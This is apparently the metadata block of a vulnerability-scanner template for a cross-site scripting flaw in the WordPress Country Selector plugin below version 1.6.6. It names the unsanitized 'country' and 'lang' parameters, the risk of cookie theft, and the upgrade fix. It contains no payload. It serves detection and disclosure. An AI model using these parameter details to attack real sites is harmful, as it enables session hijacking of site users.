info:
  name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
